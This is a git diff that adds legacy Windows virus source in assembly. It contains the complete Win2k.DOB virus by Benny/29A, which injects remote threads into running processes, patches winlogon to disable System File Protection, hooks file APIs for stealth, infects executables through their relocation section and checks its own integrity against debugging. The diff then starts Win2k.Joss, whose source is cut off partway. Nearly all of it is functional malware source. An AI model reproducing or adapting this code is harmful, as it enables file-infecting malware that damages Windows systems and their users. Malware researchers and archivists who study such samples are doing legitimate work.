+;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +padding: +PADDING equ 4 -(((padding - svirus) - (4*((padding - svirus)/4)))) +db PADDING dup (00h) + +evirus: +end start + +end diff --git a/LegacyWindows/Win2k.DOB.asm b/LegacyWindows/Win2k.DOB.asm new file mode 100644 index 00000000..fa66687e --- /dev/null +++ b/LegacyWindows/Win2k.DOB.asm @@ -0,0 +1,1062 @@ + +COMMENT# + + ΪΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΏ + ΓΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕ΄ + ΓΕΕΕΕΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΕΕΕΕ΄ + ΓΕΕΕ΄ Win2k.DOB ΓΕΕΕ΄ + ΓΕΕΕ΄ by Benny/29A ΓΕΕΕ΄ + ΓΕΕΕΕΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΕΕΕΕ΄ + ΓΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕ΄ + ΐΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΩ + + + +Hello dear reader, + +here is my another Win2k infector. This one is multi-process resident and featurez +some small kind of stealth and runtime SFP disabling! The main viral code worx with +all processes in the system and tries to inflitrate them. IF the process in +winlogon.exe, it createz remote thread which will overwrite code that handlez System +File Protection in Windows 2000. There's no need to restart computer, from the +execution ALL filez protected by SFP are now unprotected! I used the same method +which is described in article about SFC disabling in 29A-6 magazine. I have to +mentioned that this code is coded by me and also Ratter of 29A. + +In the case the found process is not winlogon.exe it triez to create remote thread +which will hook CloseHandle and CreateFileW APIZ there. The mentioned semi-stealth +mechanism worx in this way - when infected program tries to open infected file with +CreateFileW API, virus will disinfect it and pass the execution to the API and host. +When host program tries to close file by CloseHandle API, virus will try to infect +it by my favourite method - overwritting of relocation section. I had this semi-stealth +mechanism (semi becoz infection via CloseHandle doesnt always work - file is not alwayz +opened with all required access rightz so many timez the infection will fail - and for now +I dont know how to recieve filename from HANDLE by Win2k compatible way. If anyone knows +it, pleaz gimme know!) for long yearz in my head. Originaly I wanted to implement it +in Win32.Vulcano, but I was so lazy... I decided to code it now, well I know its a bit +later, but better later than never :) + +Virus also chex its own integrity on the start (by CRC32) so in the case someone set +some breakpointz in the viral code, virus will not run. + +I didnt test Win2k.DOB very deeply, so it is possible that it has some bugz. However, +again I didnt code it for spreading, but to show some new ideaz. I hope you will like +this virus... + + +(c)oded in September, 2001 +Czech Republic. +# + + +.386p +.model flat + +include win32api.inc +include useful.inc +include mz.inc +include pe.inc + + +invoke macro api ;macro for API callz + extrn api:PROC ;declare API + call api ;call it... +endm + + +@SEH_SetupFrame_UnProtect macro + local set_new_eh + local exception_handler + local @n + + call set_new_eh + pushad + + mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord] + cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION + jne exception_handler + + call @n + dd ? +@n: mov ebx,[ebx.ER_ExceptionInformation+4] + push PAGE_READWRITE + and ebx,0FFFFF000h + push 2*4096 + push ebx + mov eax,12345678h +_VirtualProtect = dword ptr $-4 + call eax ;unprotect 2 pagez + +exception_handler: + popad + xor eax,eax + ret + +set_new_eh: ;set SEH frame + xor edx,edx + push dword ptr fs:[edx] + mov fs:[edx],esp +endm + + +.data + + +;this is the remote thread that getz executed in infected process + +rtStart Proc + pushad +tdelta = $+5 + @SEH_SetupFrame + + mov ebp,[esp+4] ;EBP = delta offset + + ;hook 2 APIz - CloseHandle and CreateFileW + + mov esi,12345678h +_CloseHandle = dword ptr $-4 + cmp [esi],64EC8B55h ;check CloseHandle API... + jne try_cfw + cmp dword ptr [esi+4],000018A1h ;...code + jne try_cfw + mov eax,esi + neg esi + add esi,newCloseHandle-rtStart-5 + add esi,12345678h +virus_base = dword ptr $-4 + mov byte ptr [eax],0E9h ;create "JMP " + mov [eax+1],esi + mov [eax+5],90909090h ;fill with NOPs + add eax,9 + mov [ebp + nextCH - tdelta],eax ;save the address + +;and do the same for CreateFileW API + +try_cfw:mov esi,12345678h +_CreateFileW = dword ptr $-4 + cmp [esi],83EC8B55h + jne end_thread + cmp word ptr [esi+4],5CECh + jne end_thread + mov eax,esi + neg esi + add esi,newCreateFileW-rtStart-5 + add esi,[ebp + virus_base - tdelta] + mov byte ptr [eax],0E9h + mov [eax+1],esi + mov byte ptr [eax+5],90h + add eax,6 + mov [ebp + nextCFW - tdelta],eax + +end_thread: + @SEH_RemoveFrame + popad + ret + + +;hooker for CreateFileW - disinfectz opened file from virus + +newCreateFileW: + pushad + call @oldCFW + + cdelta = $ +bytez_CreateFileW: + push ebp ;overwritten code + mov ebp,esp + sub esp,5Ch + push 12345678h ;return address +nextCFW = dword ptr $-4 + ret + +@oldCFW:pop ebp ;EBP = delta offset + + mov ecx,12345678h +semaphore = dword ptr $-4 + jecxz c_cfw + xor eax,eax + and [ebp + semaphore - cdelta],eax + + call disinfect ;try to disinfect the file + mov [ebp + semaphore - cdelta],ebp +c_cfw: popad + jmp bytez_CreateFileW ;and run the previous code + + +;hooker for CloseHandle - infectz file which's getting closed + +newCloseHandle: + pushad + call @oldCH + + hdelta = $ +bytez_CloseHandle: + push ebp ;overwritten code + mov ebp,esp + mov eax,LARGE fs:[18h] + push 12345678h ;return address +nextCH = dword ptr $-4 + ret + +@oldCH: pop ebp ;EBP = delta offset + + mov ecx,[ebp + semaphore - hdelta] + jecxz c_ch + and dword ptr [ebp + semaphore - hdelta],0 + + call tryInfect ;try to infect + mov [ebp + semaphore - hdelta],ebp +c_ch: popad + jmp bytez_CloseHandle ;and run the previous code + + +tryInfect: + mov ebx,[esp.cPushad+8] ;get the handle + push ebx + mov eax,12345678h +_GetFileType = dword ptr $-4 + call eax + dec eax + je c_ti ;must be FILE_TYPE_DISK +end_ti: ret + +c_ti: push eax + push eax + push eax + push PAGE_READWRITE + push eax + push ebx + mov eax,12345678h +_CreateFileMappingA = dword ptr $-4 + call eax ;map the file + cdq + xchg eax,ecx + jecxz end_ti + mov [ebp + hFile - hdelta],ecx + + push edx + push edx + push edx + push FILE_MAP_WRITE + push ecx + mov eax,12345678h +_MapViewOfFile = dword ptr $-4 + call eax ;--- " " --- + test eax,eax + je close_file + xchg eax,ebx + mov [ebp + lpFile - hdelta],ebx + jmp n_open + +unmap_file: + push 12345678h +lpFile = dword ptr $-4 + mov eax,12345678h +_UnmapViewOfFile = dword ptr $-4 + call eax ;unmap the file +close_file: + push 12345678h +hFile = dword ptr $-4 + call [ebp + _CloseHandle - hdelta] ;--- " " --- + ret + + +n_open: mov esi,[ebx.MZ_lfanew] + add esi,ebx + mov eax,[esi] + add eax,-IMAGE_NT_SIGNATURE + jne unmap_file ;must be PE file + + ;discard not_executable and system filez + cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 + jne unmap_file + mov ax,[esi.NT_FileHeader.FH_Characteristics] + test ax,IMAGE_FILE_EXECUTABLE_IMAGE + je unmap_file + test ax,IMAGE_FILE_DLL + jne unmap_file + test ax,IMAGE_FILE_SYSTEM + jne unmap_file + mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem] + test al,IMAGE_SUBSYSTEM_NATIVE + jne unmap_file + + movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections] + dec eax + test eax,eax + je unmap_file + imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER + movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] + lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4] + add edi,esi + lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress] + mov eax,[edx] + test eax,eax + je unmap_file + cmp eax,[edi.SH_VirtualAddress] + jne unmap_file + cmp [edi.SH_SizeOfRawData],virtual_end-rtStart + jb unmap_file ;is it large enough? + + pushad + xor eax,eax + mov edi,edx + stosd + stosd + popad ;erase relocs record + + ;align the section size + mov eax,virtual_end-rtStart + cmp eax,[edi.SH_VirtualSize] + jb o_vs + mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment] + cdq + div ecx + test edx,edx + je o_al + inc eax +o_al: mul ecx + mov [edi.SH_VirtualSize],eax + +o_vs: push dword ptr [ebp + original_ep - hdelta] + + mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint] + mov ecx,[edi.SH_VirtualAddress] + add ecx,Start-rtStart + mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ecx + mov [ebp + original_ep - hdelta],eax + mov eax,[esi.NT_OptionalHeader.OH_ImageBase] + add [ebp + original_ep - hdelta],eax + ;set saved_entrypoint variable + pushad + mov edi,[edi.SH_PointerToRawData] + add edi,ebx + lea esi,[ebp + rtStart - hdelta] + mov ecx,(virtual_end-rtStart+3)/4 + rep movsd ;overwrite relocs by virus body + popad + pop dword ptr [ebp + original_ep - hdelta] + ;restore used variablez + or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE + jmp unmap_file + + +disinfect: + push eax + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push eax + push FILE_SHARE_READ + push GENERIC_READ or GENERIC_WRITE + push dword ptr [esp.cPushad+32] + call [ebp + _CreateFileW - cdelta] ;open the file + inc eax + jne c_di + ret + +c_di: dec eax + mov [ebp + cFile - cdelta],eax + cdq + xor edx,edx + push edx + push edx + push edx + push PAGE_READWRITE + push edx + push eax + call [ebp + _CreateFileMappingA - cdelta] ;create file mapping + cdq + xchg eax,ecx + jecxz c_close_file + mov [ebp + cMapFile - cdelta],ecx + + push edx + push edx + push edx + push FILE_MAP_WRITE + push ecx + call [ebp + _MapViewOfFile - cdelta] ;map to address space + test eax,eax + je c_close_file2 + xchg eax,ebx + mov [ebp + clpFile - cdelta],ebx + jmp n_copen + +c_unmap_file: + push 12345678h +clpFile = dword ptr $-4 + call [ebp + _UnmapViewOfFile - cdelta] ;unmap file +c_close_file2: + push 12345678h +cMapFile = dword ptr $-4 + call [ebp + _CloseHandle - cdelta] ;close file mapping +c_close_file: + push 12345678h +cFile = dword ptr $-4 + call [ebp + _CloseHandle - cdelta] ;and the file itself + ret + +n_copen:mov esi,[ebx.MZ_lfanew] + add esi,ebx + mov eax,[esi] + add eax,-IMAGE_NT_SIGNATURE + jne c_unmap_file ;must be PE file + + movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections] + dec eax + test eax,eax + je unmap_file + imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER + movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] + lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4] + add edi,esi + cmp [edi],'ler.' + jne c_unmap_file + cmp dword ptr [edi+4],'co' + jne c_unmap_file ;must be ".reloc" + lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress] + xor ecx,ecx + cmp [edx],ecx + jne c_unmap_file ;must be NULL + mov eax,[edi.SH_VirtualAddress] + mov [edx],eax ;restore the address field + mov eax,[edi.SH_VirtualSize] + mov [edx+4],eax ;and the size field + xchg eax,ecx + + mov ecx,[edi.SH_SizeOfRawData] + mov edi,[edi.SH_PointerToRawData] + add edi,ebx + + pushad + push esi + mov esi,edi + lea edi,[ebp + end_seh - cdelta] + mov ecx,original_ep-end_seh +l_ep: pushad + rep cmpsb + popad + je got_ep + inc esi + jmp l_ep +got_ep: add esi,original_ep-end_seh ;find the saved entrypoint in virus body + lodsd + pop esi + sub eax,[esi.NT_OptionalHeader.OH_ImageBase] + mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax + popad ;restore it + rep stosb ;and overwrite body with NULLs + + jmp c_unmap_file + +rtStart EndP + + +signature db 0,'[Win2k.DOB], multi-process stealth project by Benny/29A',0 + ;little signature ;-) + + +; !!! VIRAL CODE STARTS HERE !!! + +Start: pushad +gdelta = $+5 + @SEH_SetupFrame ;setup SEH frame + + call check_crc32 ;check viral body consistency + +protected: + mov ebp,[esp+4] ;EBP = delta offset + + mov edx,cs + xor dl,dl + jne end_seh ;must be under winNT/2k! + + call get_base ;get K32 base address + call get_apiz ;find addresses of APIz + call advapi_apiz ;get ADVAPI32 apiz + call psapi_apiz ;get PSAPI apiz + + mov eax,12345678h +_GetCurrentProcess = dword ptr $-4 + call eax ;get current process pseudohandle + lea ecx,[ebp + p_token - gdelta] + push ecx + push 20h + push eax + mov eax,12345678h +_OpenProcessToken = dword ptr $-4 ;open token of our process + call eax + dec eax + jne err_ap + + lea ecx,[ebp + p_luid - gdelta] + push ecx + @pushsz 'SeDebugPrivilege' + push eax + mov eax,12345678h +_LookupPrivilegeValueA = dword ptr $-4 ;find LUID for this priv. + call eax + dec eax + jne err_ap + + lea ecx,[ebp + token_priv - gdelta] + push eax + push eax + push 10h + push ecx + push eax + push dword ptr [ebp + p_token - gdelta] + mov eax,12345678h +_AdjustTokenPrivileges = dword ptr $-4 + call eax ;adjust higher priviledges + ;for our process ;-) +err_ap: lea esi,[ebp + procz - gdelta] + lea eax,[ebp + tmp - gdelta] + push eax + push 80h + push esi + mov eax,12345678h +_EnumProcesses = dword ptr $-4 + call eax ;enumerate all running processes + dec eax + jne end_seh + add esi,4 + +p_search: + lodsd ;get PID + test eax,eax + je end_ps + call analyse_process ;and try to infect it + jmp p_search + +end_ps: push 12345678h +_advapi32 = dword ptr $-4 + mov esi,12345678h +_FreeLibrary = dword ptr $-4 + call esi + push 12345678h +_psapi = dword ptr $-4 + call esi ;free ADVAPI32 and PSAPI libz +end_seh:@SEH_RemoveFrame ;remove SEH frame + popad + + extrn ExitProcess:PROC + push cs + push offset ExitProcess +original_ep = dword ptr $-4 + retf ;jump to host! + + +analyse_process Proc + pushad + push eax + push 0 + push 43Ah + mov eax,12345678h +_OpenProcess = dword ptr $-4 + call eax ;PID -> handle + test eax,eax + je end_ap + mov [ebp + hProcess - gdelta],eax + push eax + + push eax + lea esi,[ebp + modz - gdelta] + lea ecx,[ebp + tmp - gdelta] + push ecx + push 4 + push esi + push eax + mov eax,12345678h +_EnumProcessModules = dword ptr $-4 + call eax ;get first (main) module + pop ecx + dec eax + jne end_ap1 + + lodsd + lea edi,[ebp + mod_name - gdelta] + push MAX_PATH + push edi + push eax + push ecx + mov eax,12345678h +_GetModuleBaseNameA = dword ptr $-4 + call eax ;get its name + xchg eax,ecx + test ecx,ecx + je end_ap1 + + @pushsz 'winlogon.exe' + pop esi + mov ebx,edi + pushad + rep cmpsb + popad + je r_winlogon ;is it winlogon? + + ;nope, try to infect the process + + lea esi,[ebp + rtStart - gdelta] + mov edi,virtual_end-rtStart + call r_create_thread + jmp end_ap1 + +r_winlogon: + + ;yeah, disable SFP! + + lea esi,[ebp + winlogon_start_rroutine - gdelta] + mov edi,winlogon_end_rroutine-winlogon_start_rroutine + call r_create_thread + +end_ap1:call [ebp + _CloseHandle - gdelta] +end_ap: popad + ret +analyse_process EndP + + +;this proc createz remote thread + +r_create_thread Proc + push PAGE_READWRITE + push MEM_RESERVE or MEM_COMMIT + push edi + push 0 + push 12345678h +hProcess = dword ptr $-4 + mov eax,12345678h +_VirtualAllocEx = dword ptr $-4 + call eax ;aloc there a memory + test eax,eax + je err_rcr + xchg eax,ebx + mov [ebp + virus_base - gdelta],ebx + + push 0 + push edi + push esi + push ebx + push dword ptr [ebp + hProcess - gdelta] + mov eax,12345678h +_WriteProcessMemory = dword ptr $-4 + call eax ;write there our code + dec eax + jne free_mem + + lea ecx,[ebp + tmp - gdelta] + push ecx + push PAGE_READWRITE + push 1 + push dword ptr [ebp + _CloseHandle - gdelta] + push dword ptr [ebp + hProcess - gdelta] + mov eax,12345678h +_VirtualProtectEx = dword ptr $-4 + call eax ;unprotect first CloseHandle API page + dec eax + jne free_mem + + lea ecx,[ebp + tmp - gdelta] + push ecx + push PAGE_READWRITE + push 1 + push dword ptr [ebp + _CreateFileW - gdelta] + push dword ptr [ebp + hProcess - gdelta] + call [ebp + _VirtualProtectEx - gdelta] ;unprotect first CreateFileW API page + dec eax + jne free_mem + + xor edx,edx + push edx + push edx + push edx + push ebx + push edx + push edx + push dword ptr [ebp + hProcess - gdelta] + mov eax,12345678h +_CreateRemoteThread = dword ptr $-4 + call eax ;run remote thread! + push eax + call [ebp + _CloseHandle - gdelta] +err_rcr:ret +free_mem: + push MEM_RELEASE + push 0 + push ebx + push dword ptr [ebp + hProcess - gdelta] + mov eax,12345678h +_VirtualFreeEx = dword ptr $-4 + call eax ;free memory + ret +r_create_thread EndP + + +winlogon_start_rroutine Proc + pushad + + @SEH_SetupFrame_UnProtect ;set SEH frame + + @pushsz 'sfc.dll' + mov eax,12345678h +_GetModuleHandleA = dword ptr $-4 + call eax ;get sfc.dll address + test eax,eax + je end_rseh + xchg eax,esi + + mov eax,[esi.MZ_lfanew] + add eax,esi + movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader] + lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)] + mov ecx,[edx.SH_SizeOfRawData] ;get size of section + + call @s_str +@b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch + db 85h,0C0h + db 0Fh,8Ch,0F1h,00h,00h,00h + db 0Fh,84h,0EBh,00h,00h,00h + db 3Dh,02h,01h,00h,00h +@s_str: pop edi +s_str: pushad + push @s_str-@b_str + pop ecx + rep cmpsb ;search for code + popad + je got_addr + inc esi + loop s_str + jmp end_rseh + +got_addr: + call e_next + +s_next: push 0 ;"patch" code + mov eax,12345678h +_ExitThread = dword ptr $-4 + call eax + +e_next: pop edi + xchg esi,edi + add edi,6 + mov ecx,e_next-s_next + rep movsb ;patch sfc.dll code by our code + +end_rseh: + @SEH_RemoveFrame + popad + ret ;and quit + +winlogon_end_rroutine: +winlogon_start_rroutine EndP + + + +;this procedure can retrieve base address of K32 +get_base Proc + mov eax,077E80000h ;get lastly used address +last_kern = dword ptr $-4 + call check_kern ;is this address valid? + jecxz end_gb ;yeah, we got the address + + call gb_table ;jump over the address table + dd 077E00000h ;NT/W2k + dd 077E80000h ;NT/W2k + dd 077ED0000h ;NT/W2k + dd 077F00000h ;NT/W2k + dd 0BFF70000h ;95/98 +gb_table: + pop edi ;get pointer to address table + push 4 ;get number of items in the table + pop esi ;to ESI +gbloop: mov eax,[edi+esi*4] ;get item + call check_kern ;is address valid? + jecxz end_gb ;yeah, we got the valid address + dec esi ;decrement ESI + test esi,esi ;end of table? + jne gbloop ;nope, try next item + + call scan_kern ;scan the address space for K32 +end_gb: ret ;quit + +check_kern: ;check if K32 address is valid + mov ecx,eax ;make ECX != 0 + pushad ;store all registers + @SEH_SetupFrame ;setup SEH frame + movzx edx,word ptr [eax] ;get two bytes + add edx,-"ZM" ;is it MZ header? + jne end_ck ;nope + mov ebx,[eax.MZ_lfanew] ;get pointer to PE header + add ebx,eax ;normalize it + mov ebx,[ebx] ;get four bytes + add ebx,-"EP" ;is it PE header? + jne end_ck ;nope + xor ecx,ecx ;we got K32 base address + mov [ebp + last_kern - gdelta],eax ;save K32 base address +end_ck: @SEH_RemoveFrame ;remove SEH frame + mov [esp.Pushad_ecx],ecx ;save ECX + popad ;restore all registers + ret ;if ECX == 0, address was found + +SEH_hndlr macro ;macro for SEH + @SEH_RemoveFrame ;remove SEH frame + popad ;restore all registers + add dword ptr [ebp + bAddr - gdelta],1000h ;explore next page + jmp bck ;continue execution +endm + +scan_kern: ;scan address space for K32 +bck: pushad ;store all registers + @SEH_SetupFrame ;setup SEH frame + mov eax,077000000h ;starting/last address +bAddr = dword ptr $-4 + movzx edx,word ptr [eax] ;get two bytes + add edx,-"ZM" ;is it MZ header? + jne pg_flt ;nope + mov edi,[eax.MZ_lfanew] ;get pointer to PE header + add edi,eax ;normalize it + mov ebx,[edi] ;get four bytes + add ebx,-"EP" ;is it PE header? + jne pg_flt ;nope + mov ebx,eax + mov esi,eax + add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] + add esi,[ebx.ED_Name] + mov esi,[esi] + add esi,-'NREK' + je end_sk +pg_flt: xor ecx,ecx ;we got K32 base address + mov [ecx],esi ;generate PAGE FAULT! search again... +end_sk: mov [ebp + last_kern - gdelta],eax ;save K32 base address + @SEH_RemoveFrame ;remove SEH frame + mov [esp.Pushad_eax],eax ;save EAX - K32 base + popad ;restore all registers + ret +get_base EndP + + +get_apiz Proc + mov esi,eax ;base of K32 + mov edx,[esi.MZ_lfanew] + add edx,esi + mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] + add ebx,esi + mov ecx,[ebx.ED_NumberOfNames] + mov edx,[ebx.ED_AddressOfNames] + add edx,esi + + xor eax,eax +c_find: pushad + add esi,[edx+eax*4] + push esi + @endsz + mov edi,esi + pop esi + sub edi,esi + call CRC32 ;calculate CRC32 of the API + + push n_apiz ;number of apiz + pop ecx + + call @callz +s_apiz: dd 082B618D4h ;GetModuleHandleA + dd 04134D1ADh ;LoadLibraryA + dd 0AFDF191Fh ;FreeLibrary + dd 0FFC97C1Fh ;GetProcAddress + dd 079C3D4BBh ;VirtualProtect + dd 0058F9201h ;ExitThread + dd 003690E66h ;GetCurrentProcess + dd 033D350C4h ;OpenProcess + dd 0DA89FC22h ;VirtualAllocEx + dd 00E9BBAD5h ;WriteProcessMemory + dd 0CF4A7F65h ;CreateRemoteThread + dd 0700ED6DFh ;VirtualFreeEx + dd 068624A9Dh ;CloseHandle + dd 056E1B657h ;VirtualProtectEx + dd 000D38F42h ;GetFileType + dd 096B2D96Ch ;CreateFileMappingA + dd 0797B49ECh ;MapViewOfFile + dd 094524B42h ;UnmapViewOfFile + dd 090119808h ;CreateFileW +n_apiz = ($-s_apiz)/4 +@callz: pop edx + +c_look: cmp [edx-4+(ecx*4)],eax ;is it our API? + je got_call ;yeah + loop c_look ;nope, look for another API in our table +c_out: popad + inc eax + loop c_find + ret + +got_call: + mov edx,[ebx.ED_AddressOfOrdinals] + mov esi,[esp.Pushad_esi] + add edx,esi + mov eax,[esp.Pushad_eax] + movzx eax,word ptr [edx+eax*2] + mov edx,esi + add edx,[ebx.ED_AddressOfFunctions] + mov eax,[edx+eax*4] + add eax,esi + + lea edx,[ebp + Start - gdelta] + add edx,[ebp + api_addr-4+ecx*4 - gdelta] + mov [edx],eax ;save it + jmp c_out +get_apiz EndP + + +api_addr: ;where to save apiz numberz... + dd offset _GetModuleHandleA-Start + dd offset _LoadLibraryA-Start + dd offset _FreeLibrary-Start + dd offset _GetProcAddress-Start + dd offset _VirtualProtect-Start + dd offset _ExitThread-Start + dd offset _GetCurrentProcess-Start + dd offset _OpenProcess-Start + dd offset _VirtualAllocEx-Start + dd offset _WriteProcessMemory-Start + dd offset _CreateRemoteThread-Start + dd offset _VirtualFreeEx-Start + dd offset _CloseHandle-Start + dd offset _VirtualProtectEx-Start + dd offset _GetFileType-Start + dd offset _CreateFileMappingA-Start + dd offset _MapViewOfFile-Start + dd offset _UnmapViewOfFile-Start + dd offset _CreateFileW-Start + +CRC32: push ecx ;procedure for calculating CRC32s + push edx ;at run-time + push ebx + xor ecx,ecx + dec ecx + mov edx,ecx +NextByteCRC: + xor eax,eax + xor ebx,ebx + lodsb + xor al,cl + mov cl,ch + mov ch,dl + mov dl,dh + mov dh,8 +NextBitCRC: + shr bx,1 + rcr ax,1 + jnc NoCRC + xor ax,08320h + xor bx,0EDB8h +NoCRC: dec dh + jnz NextBitCRC + xor ecx,eax + xor edx,ebx + dec edi + jne NextByteCRC + not edx + not ecx + pop ebx + mov eax,edx + rol eax,16 + mov ax,cx + pop edx + pop ecx + ret + +;get addressez of ADVAPI32 APIz + +advapi_apiz Proc + @pushsz 'ADVAPI32' + mov eax,12345678h +_LoadLibraryA = dword ptr $-4 + call eax ;load ADVAPI32 + xchg eax,ebx + mov [ebp + _advapi32 - gdelta],ebx + + @pushsz 'OpenProcessToken' + push ebx + mov esi,12345678h +_GetProcAddress = dword ptr $-4 + call esi + mov [ebp + _OpenProcessToken - gdelta],eax + ;save API address + @pushsz 'LookupPrivilegeValueA' + push ebx + call esi + mov [ebp + _LookupPrivilegeValueA - gdelta],eax + ;--- " " --- + @pushsz 'AdjustTokenPrivileges' + push ebx + call esi + mov [ebp + _AdjustTokenPrivileges - gdelta],eax + ;--- " " --- + ret +advapi_apiz EndP + +;get addressez of PSAPI APIz + +psapi_apiz Proc + @pushsz 'PSAPI' + call [ebp + _LoadLibraryA - gdelta] ;load PSAPI + xchg eax,ebx + mov [ebp + _psapi - gdelta],ebx + @pushsz 'EnumProcesses' + push ebx + call esi + mov [ebp + _EnumProcesses - gdelta],eax + ;save API address + @pushsz 'EnumProcessModules' + push ebx + call esi + mov [ebp + _EnumProcessModules - gdelta],eax + ;--- " " --- + + @pushsz 'GetModuleBaseNameA' + push ebx + call esi + mov [ebp + _GetModuleBaseNameA - gdelta],eax + ;--- " " --- + + @pushsz 'EnumProcesses' + push ebx + call esi + mov [ebp + _EnumProcesses - gdelta],eax + ;--- " " --- + ret +psapi_apiz EndP + +token_priv dd 1 +p_luid dq ? + dd 2 +procz dd 80h dup (?) + dd ? +modz dd ? +mod_name db MAX_PATH dup (?) +p_token dd ? +tmp dd ? + +check_crc32: + pop esi + mov edi,check_crc32-protected + call CRC32 ;calculate CRC32 for viral body + cmp eax,0D620301Eh + jne end_seh ;quit if does not match + jmp protected +virtual_end: + +.code ;first generation code +FirstGeneration: + + jmp Start + + ;virtual size of virus + db 0dh,0ah,'Virus size in memory: ' + db '0'+((virtual_end-rtStart)/1000) mod 10 + db '0'+((virtual_end-rtStart)/100) mod 10 + db '0'+((virtual_end-rtStart)/10) mod 10 + db '0'+((virtual_end-rtStart)/1) mod 10 + db 0dh,0ah +ends +End FirstGeneration diff --git a/LegacyWindows/Win2k.Joss.asm b/LegacyWindows/Win2k.Joss.asm new file mode 100644 index 00000000..6cc55397 --- /dev/null +++ b/LegacyWindows/Win2k.Joss.asm @@ -0,0 +1,715 @@ + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[JOSS.ASM]ΔΔΔ +; Win2k.Joss by Ratter/29A + + .586p + .model flat, stdcall + locals + + include useful.inc + include win32api.inc + include mz.inc + include pe.inc + include my_macroz.inc + + NtOpenFile equ 64h + NtQueryDirectoryFile equ 7dh + NtClose equ 18h + NtCreateSection equ 2bh + NtMapViewOfSection equ 5dh + NtUnmapViewOfSection equ 0e7h + +unicode_string struc + us_length dw ? + dw ? + us_pstring dd ? +unicode_string ends + +path_name struc + pn_name dw MAX_PATH dup(?) +path_name ends + +object_attributes struc + oa_length dd ? + oa_rootdir dd ? + oa_objectname dd ? + oa_attribz dd ? + oa_secdesc dd ? + oa_secqos dd ? +object_attributes ends + +pio_status_block struc + psb_ntstatus dd ? + psb_info dd ? +pio_status_block ends + +@asciiz_to_unicode macro + xor ah, ah + lodsb + stosw + test al, al + jz $+4 + jmp $-7 + endm + +@syscall macro fc, paramz + mov eax, fc + mov edx, esp + int 2eh + add esp, (paramz*4) + endm + + .data + db ? + + .code + +start_: +_joss_start_ equ $ + pushad + @SEH_SetupFrame + + bt dword ptr [esp+8+cPushad], 31 + jc joss_end + +start proc near + local trailings:unicode_string + local trailings_point_dir:path_name + local object_attribz:object_attributes + local dhandle:DWORD + local io_status_block:pio_status_block + local find_buffer:path_name + + local wfnd:WIN32_FIND_DATA + + mov dword ptr [trailings], 80008h + lea eax, [trailings_point_dir] + mov dword ptr [trailings.us_pstring], eax + + @pushsz "\??\" + pop esi + xchg eax, edi + @asciiz_to_unicode + + xor ecx, ecx + mov esi, 20290h + movzx eax, word ptr [trailings] + lea edi, [trailings_point_dir+eax] + + lodsw + test ax, ax + jz $+7 + inc ecx + stosw + jmp $-10 + + shl ecx, 1 + add cx, word ptr [trailings] + mov ax, cx + shl ecx, 16 + mov cx, ax + mov dword ptr [trailings], ecx + + xor eax, eax + lea edi, [object_attribz] + push edi + push 18h/4 + pop ecx + rep stosd + pop edi + + push 18h + pop dword ptr [edi] + lea eax, [trailings] + mov dword ptr [edi+8], eax + push 40h + pop dword ptr [edi+12] + + push 4021h + push 03h + lea eax, [io_status_block] + push eax + push edi + push 100001h + lea eax, [dhandle] + push eax + @syscall NtOpenFile, 6 + mov ebx, dword ptr [dhandle] + + xor ecx, ecx +main_loop: + push ecx + + xor eax, eax + push eax + call $+13 + dw 0ah + dw 0ah + dd ? + pop esi + call $+15 + dw '<', '.', 'e', 'x', 'e' + pop edi + mov dword ptr [esi+4], edi + jecxz $+4 + xor esi, esi + push esi + push 1 + push 3 + push MAX_PATH*2 + lea edx, [find_buffer] + push edx + lea edx, [io_status_block] + push edx + push eax + push eax + push eax + push ebx + @syscall NtQueryDirectoryFile, 11 + pop ecx + test eax, eax + jnz main_loop_end + + push dword ptr [trailings] + + lea 